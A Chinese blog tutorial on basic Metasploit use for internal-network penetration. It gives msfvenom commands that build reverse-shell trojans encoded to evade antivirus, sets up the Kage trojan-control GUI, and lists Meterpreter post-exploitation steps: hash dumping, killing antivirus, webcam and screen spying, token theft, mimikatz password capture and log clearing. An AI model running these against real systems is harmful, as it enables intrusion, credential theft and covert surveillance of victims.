内网渗透 Metasploit(MSF)基础使用

这篇具有很好参考价值的文章主要介绍了内网渗透 Metasploit(MSF)基础使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

内网渗透 Metasploit(MSF)使用

1、认识 MSF

​ Metasploit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在 Metasploit 和综合报告提出了他们的发现,2003年为第一个版本,2007年用 ruby 进行了重新

​ 安装自查,不必多说

1.1、MSF 目录架构

进入目录

msf渗透工具,1024程序员节,MSF,渗透工具,安全

data目录
里面存有为msf中可以编写的一些文件,里面含有msf存储的漏洞具体数据,一般在使用exp时会编写一些重要的函数,简单来说就是存放我们可以利用的漏洞的数据的地方。

msf渗透工具,1024程序员节,MSF,渗透工具,安全

documentation文档目录
存放了msf的一些相关文档,工具介绍等

msf渗透工具,1024程序员节,MSF,渗透工具,安全

lib静态链接库目录
存放了msf中的ruby代码

msf渗透工具,1024程序员节,MSF,渗透工具,安全

modules模块目录
存放了msf的模块,msf为模块化工具,插件

msf渗透工具,1024程序员节,MSF,渗透工具,安全msf渗透工具,1024程序员节,MSF,渗透工具,安全

tools目录
小工具模块

msf渗透工具,1024程序员节,MSF,渗透工具,安全

2、MSF 基础操作

2.1、msf 的基础部分

内置数据库posetsql

Linux初始化并启动msf数据库
msfdb init

msf渗透工具,1024程序员节,MSF,渗透工具,安全

kali中的启动命令
msfconsole

查看数据库状态
db_status

msf渗透工具,1024程序员节,MSF,渗透工具,安全msf渗透工具,1024程序员节,MSF,渗透工具,安全

help	#查看帮助
exit	#退出

MSF 共分为3个部分:

(1)刚进入页面的操作部分

(2)msfvenom 生成攻击载荷的工具,内嵌于 msf

(3)当进入某个会话时的部分

2.2、简单操作命令

show 模块名	#查看/展示模块(exploits、payloads、enncoders等)
search 模块名	#没什么好方法,可以直接搜索漏洞编号,或者网上查询需要的模块名
use 模块名		#使用需要的模块
back		  #返回上一级
info		  #查看模块详细信息
show options   #非常常用,看具体配置,通过Required下面为Yes为必填项
set Name xxxx  #在options中的必填项名字后面接具体信息
run / exploit  #执行模块

msf渗透工具,1024程序员节,MSF,渗透工具,安全

exploit -j 	#通过这条命令运行任务
jobs	#查看后台正在执行的工作
kill ID值	#关闭后台正在执行的工作

msf渗透工具,1024程序员节,MSF,渗透工具,安全

2.3、常用的扫描模块

一般 msf 将扫描模块都放在auxiliary/scanner当中

2.3.1、arp 扫描

使用 ARP 请求枚举本地网络中的活动主机

在kali中如下目录为msf的模块目录
/usr/share/metasploit-framework/modules/auxiliary/

msf渗透工具,1024程序员节,MSF,渗透工具,安全

search arp

msf渗透工具,1024程序员节,MSF,渗透工具,安全

可以看到有scanner的很多扫描器,auxiliary/scanner/discovery/arp_sweep关于信息收集的有很多

use auxiliary/scanner/discovery/arp_sweep	//选择模块
options		//显示参数配置
set rhosts xxx.xxx.x.x/24	//确定主机
set threads 10		//调线程
run		//运行
2.3.2、UDP 扫描
search udp
use auxiliary/scanner/discovery/udp_sweep

可以看到有很多很多模块供我们使用

msf渗透工具,1024程序员节,MSF,渗透工具,安全

自己试试用得顺手的模块

这里就不使用了

2.3.3、端口扫描

SYN、ACK、TCP、XMAS、FTP 扫描等等

search portscan		
use auxiliary/scanner/portscan/tcp

msf渗透工具,1024程序员节,MSF,渗透工具,安全

2.3.4、SMB 扫描
search smb
use auxiliary/scanner/smb/smb_version //可以探索版本信息

msf渗透工具,1024程序员节,MSF,渗透工具,安全

2.4、EXP 模块

use exploit			//输入这个然后按Tab键可进行阅览

msf渗透工具,1024程序员节,MSF,渗透工具,安全

可以看到有2251个项目,这里就不一一枚举了

如果目前已知目标系统为 windows,那么直接搜索可以减少阅览量

use exploit/windows

msf渗透工具,1024程序员节,MSF,渗透工具,安全

大部分 EXP 模块都是在已经取得一定权限后使用的,比如提权等,rce(MS17-010) 等比较少

就按 windows 来说,当我们执行成功时,不仅仅只是执行了一个命令,我们还可以为其添加一个攻击载荷,使其在执行完命令后,还能为我们反弹回来一个会话

msf渗透工具,1024程序员节,MSF,渗透工具,安全

set payload windows/x64/meterpreter/reverse_tcp
然后查看配置
options

msf渗透工具,1024程序员节,MSF,渗透工具,安全

可以发现这里多了一条 payload,有这个 payload 后,在执行完 rce 后,会返回一个 msf 的会话,支持很多系统

set payload		//然后按Tab就行

3、msf 可视化远控平台 Kage

3.1、Kage 安装

当然我们也可以使用msf可视化远控平台----Kage

项目地址:https://github.com/WayzDev/Kage/

​ https://github.com/Zerx0r/Kage/releases

git clone https://github.com/Zerx0r/Kage.git
安装好后进入Kage
cd Kage
安装依赖项
yarn

第二个项目因为我们是Linux系统,所以我们下载
Kage.0.1.1-beta_linux.AppImage 
建议使用root权限运行
接着我们使用下面这行代码来运行msf,启动msf并开启一个接口
msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55562 User=msfuser Pass=msfpass'

接下来我们需要用kage连接这个接口,开启可视化msf

当然也可以直接写入下面的代码运行
msfrpcd -U msfuser -P msfpass -a 0.0.0.0
-U: 登录kage的账号
-P:登录kage的密码
-a: msf的ip地址(很重要,要是kage和msf在同一台电脑,用0.0.0.0即127.0.0.1)

赋予程序启动权限,启动程序并登陆
chmod 777 Kage.0.1.1-beta_linux.AppImage
./Kage.0.1.1-beta_linux.AppImage

msf渗透工具,1024程序员节,MSF,渗透工具,安全

输入我们设置的账号密码,就可以进入了

msf渗透工具,1024程序员节,MSF,渗透工具,安全

3.2、Kage 的使用

我们可以利用命令生成木马,也可以在平台上生成木马,根据自己的具体情况来看,在木马成功上线目标机时,会有各种操作可用。

Jobs是监听功能,Payload generator是木马生成程序

首先我们需要开启监听并发送木马

生成木马支持多种平台和方式,选择你所需要的方式进行木马生成。后续的监听也是需要保持同生成木马的一致性(本机IP、负载方法、监听端口)

木马生成(填写程序名、负载方法、本机ip、端口、程序类型、编码方式(一般默认))

负载方法常用的是windows/meterpreter/reverse_tcp,当然,它也支持对安卓、linux以及java、python的负载方法,根据个人的测试环境。

生成的木马程序可以在右侧Saved as中看到是在root目录下,自己去目录中把文件拖出来就可以了。后续录音、拍照、下载等功能使用时的文件在会在该目录下

3.3、Kage 可执行的操作

可以执行的操作:

(1)系统指令

(2)文件指令

(3)网络指令

(4)拍照指令

(5)录音指令

(6)文件存放(存放地址为Kage

4、msfvenom 模块

4.1、概述

msfvenom 是 msf 生成 payload 的一个工具

这里要区分一下 EXP 与 Payload :EXP 是利用漏洞进行攻击动作,而 payload 是 EXP 执行成功后在目标内进行各种指令动作。

除了可以将 payload 插入到 exp 里面,也可以作为独立模块进行生成,需要用这个工具生成一个落地化的,类似于会话,可移植性各种操作

4.2、基本操作

msfvenom
例子
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

-l		#列出所有payload,需要添加参数payloads, encoders, nops, platforms, archs, encrypt, formats, all	

所支持的架构有:aarch64、armbe、armle、cbea、cbea64、cmd、dalvik、firefox、java、mips、mips64、mips64le、mipsbe、mipsle、nodejs、php、ppc、ppc64、ppc64le、ppce500v2、python、r、ruby、sparc、sparc64、tty、x64、x86、x86_64、zarch

msf渗透工具,1024程序员节,MSF,渗透工具,安全

-p			#后面跟payload的其余参数

可以看到下面的有bindreverse两种类型的 payload,那么有什么区别呢?

bind:正向,攻击机可以连接目标机,而目标机不能连接攻击机,是攻击机主动连接目标机

reverse:反向,目标机主动连接攻击机,一般使用反弹 TCP 协议。

msf渗透工具,1024程序员节,MSF,渗透工具,安全

-f 		#指定输出文件格式

所支持的格式有:asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-small、hta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;base32、base64、bash、c、csharp、dw、dword、go、golang、hex、java、js_be、js_le、nim、nimlang、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.71.138 lport=3333 -f exe > ceshi.exe 
生成一个windwos的反弹shell,名字为ceshi.exe
-e 		#指定编码方式,绕过杀软的一种方式

msf渗透工具,1024程序员节,MSF,渗透工具,安全

-i		#指定编码次数,一般配合 -e 使用,最好小于20次,否则将不会运行

举个例子,生成一个 payload

winodws:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f exe > ceshi.exe

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f elf > ceshi.elf

5、Meterpreter 模块

当我们生成的 payload 成功在目标机器上执行时,便会返回这样一个会话,我们在此会话中执行各种后渗透操作
msf渗透工具,1024程序员节,MSF,渗透工具,安全

5.1、基础操作

help 				#帮助
background			#返回msf界面
sessions -l 			#返回所有会话信息
sessions -i id值	    #返回指定交互会话
pwd				    #返回目标机中所处目录位置
lpwd			    #查看本地目录
cd				    #切换目标机指定目录
lcd					#切换本机指定目录
ls					#列出目标机当前目录文件
lls					#列出本机目录的文件
clearev				#清除痕迹,清除我们在目标机器上的一些操作痕迹!!!
download 文件名		#将目标文件下载到本地
upload 文件名			#将文件上传到目标机
shell				#进入cmd命令框
exit				#退出终端
ps					#列出目标进程
getuid				#查看当前用户的身份,可以理解为用户名
getprivs			#查看当前用户的权限
getpid				#查看木马进程
idletime			#查看目标服务器空闲时间
sysinfo				#查看目标主机信息
kill PID号			#杀死进程
shutdown			#关机
reboot				#重启
netstat				#查看网络连接情况
ipconfig			#查看目标IP信息
getsystem			#尝试提权

msf渗透工具,1024程序员节,MSF,渗透工具,安全

不过进入 windows 会有乱码出现,我们使用chcp 65001便可以解决中文乱码

msf渗透工具,1024程序员节,MSF,渗透工具,安全

execute 		#需要参数,在目标机执行一些命令
用法:execute -f file [options]
在远程计算机上执行命令。
选项:
-a				#传递给命令的参数。
-c				#通道化I/O(交互需要)。
-d				#使用-m时要启动的“虚拟”可执行文件。
-f				#要运行的可执行命令。
-h				#帮助菜单。
-H				#创建隐藏在视图中的流程。
-i				#创建流程后与流程交互。
-k				#在流量计当前桌面上执行进程
-m				#从内存执行。
-p				#在pty中执行进程(如果在目标平台上可用)
-s				#以会话用户身份在给定会话中执行进程
-t				#使用当前模拟的线程标记执行进程
-z				#在子shell中执行进程

execute -f ceshi.exe -H

msf渗透工具,1024程序员节,MSF,渗透工具,安全

我们一般只用-f参数来执行一个文件进程,使用-h参数来隐藏进程

migrate	PID进程码		#进程迁移命令
migrate 所要迁移的进程号也就是PID

msf渗透工具,1024程序员节,MSF,渗透工具,安全

5.2、配合 meterpreter 的信息收集模块

有很多模块,大多数都是对于主机的信息收集功能,以 POST 开头

进入meterpreter中,使用run

msf渗透工具,1024程序员节,MSF,渗透工具,安全

run killav		#杀死杀毒软件
run hashdump	#导出目标机的哈希保存密码(需要权限)
run post/windows/wlan/wlan_profile	#获取wifi密码
run vnc			#实时屏幕监控
run webcam		#开启一个摄像头(要求对面拥有摄像头)
run post/windows/gather/checkvm	#查看当前主机是否为虚拟机
run post/windows/gather/enum_computers	#探寻域内主机
run post/windows/manage/enable_rdp	#开启目标3389端口

5.3、Token 窃取

msf渗透工具,1024程序员节,MSF,渗透工具,安全

load incognito		#令牌窃取工具
list_tokens -u		#列出可以模拟的令牌
impersonate_token 可以模拟的令牌成员名	#窃取一个指定的令牌,获取相应权限

msf渗透工具,1024程序员节,MSF,渗透工具,安全

一般窃取管理员或者 SYSTEM 的身份

mimikatz
load mimikatz
wdigest   	#抓取计算机中的明文密码

msf渗透工具,1024程序员节,MSF,渗透工具,安全

7、armitage

7.1、概述

Armitage 就是一款使用 Java 为 Metasploit 编写的有图形化操作界面的软件,通过它可以轻松的使用 Metasploit 对目标进行攻击

感觉不如用 kage。。。。。

msf渗透工具,1024程序员节,MSF,渗透工具,安全

8、MSF 更新

apt update
apt install metasploit-framework

MSF 插件更新可以从下面地址获取

插件地址:https://exploit-db.com

搜索 Metasploit 可以查询相应插件加载,里面文档有安装教程文章来源地址https://www.toymoban.com/news/detail-792352.html

到了这里,关于内网渗透 Metasploit(MSF)基础使用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 利用msf进行内网的木马渗透详细教程

    本文仅限学术交流,请勿用他人实践 本文通过kali系统进行内网渗透。主机 ip:172.20.10.14 靶机ip:172.20.10.3(win10)  文章目录 前言 一 准备工作 二 进行渗透 1.开启服务:需要开启apache和postgresql服务 2.制作木马文件,利用msf进行渗透 总结  提示:以下是本篇文章正文内容,下

    2023年04月08日
    浏览(43)
  • 一、初识Metasploit(MSF使用详解超详细)

    前言 :Metasploit是The Metasploit Framework的简称,也可以叫做MSF! MSF高度模块化即框架由多个module组成,是全球最受欢迎的工具。 Metasploit Framework(MSF)远远不仅仅是一个漏洞的集合。这是您可以建立和利用您的自定义需求的基础架构。这使您可以专注于您独特的环境,而不必重新

    2024年02月08日
    浏览(89)
  • 内网渗透之Msf-Socks代理实战(CFS三层靶场渗透过程及思路)

    前言 作者简介:不知名白帽,网络安全学习者。 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net/m0_63127854/category_11885934.html 网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan CFS三层靶场搭建: 内网渗透之CFS三层靶机搭建_不知名白帽的博客-CSD

    2024年02月02日
    浏览(39)
  • 内网渗透—代理Socks协议、路由不出网、后渗透通讯、CS-MSF控制上线

      本章主要涉及到的技术就是如何让攻击机通过能够上网的主机当作跳板去连接内网中不能上网的主机,有点绕口。不过通过介绍页能够大概明白是什么意思。   在我们做渗透的时候,通常企业都会设定有些软硬件防火墙,当企业有业务需求的时候会通过防火墙放通地址

    2024年02月05日
    浏览(51)
  • 渗透测试神器-msf基础

    Metasploit-framework(用ruby写的)基础: MSF拥有世界上最大的渗透测试攻击数据库 Vulnerability:漏洞统称 expoit:攻击代码或者程序 Payload:完成实际攻击功能的代码 module:组成完整系统的基本构造块,每个模块执行特定任务 运行msf: msf模块介绍: Exploit:msf最核心的模块,里面有针对

    2024年02月05日
    浏览(78)
  • 第124天:内网安全-代理技术&Socks协议&路由不出网&后渗透通讯&CS-MSF上线

    个人理解 1、相当于本来流程是:解决网络通信问题 — 拿到权限 — 进行后门控制,但这里小迪只讲了如何解决网络通信问题和如何进行后门控制,拿到权限属于横向移动的内容后面才讲。 2、在本次实验环境中,Win 7主机有外网出口而其余主机没有,所以我们将Win 7当作跳板

    2024年02月13日
    浏览(40)
  • webshell管理工具-冰蝎(Behinder)的安装和基础使用(msf联动,流量特征)

    冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备 难以 检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。 gi

    2024年02月02日
    浏览(49)
  • 一条命令上线MSF(Metasploit)-web_delivery模块

    最近比较多人问我,如果在实战里getshell了,比如各种OA的rce,但是会碰到权限很低,不是root或者是system权限的情况,而且在拿到shell之后不知道怎么提权,不知道下一步该干嘛,后渗透不是很熟练等等等等。所以我就趁今晚月色那么漂亮,顺便记一下web_delivery模块。 如果被

    2024年02月10日
    浏览(61)
  • 肥肠恐布--探索Kali Linux中的Metasploit Framework(MSF听说肾透大佬经常用)

    请注意,在使用Metasploit Framework进行渗透测试和漏洞利用时,务必遵守合法和授权的原则,此文仅供大家学习参考,请确保您获得了适当的授权,并遵守法律和合规性要求。非法使用和滥用导致严重的法律后果自负。 目录 前言 一、什么是Metasploit Framework(MSF)? 二、Metaspl

    2024年02月15日
    浏览(43)
  • MSF手机渗透实验

      本实验是在kail里面使用msf工具生成一个Android木马程序,然后客户端进行下载,从而渗透。 实验范围为局域网的手机,即入侵的手机要与电脑处于同一个网段,这就需要将虚拟机设置为桥接模式,并手动配置ip。 此时手机的ip段为192.168.43.0段故需要更改虚拟机ip 更改静态i

    2024年02月11日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包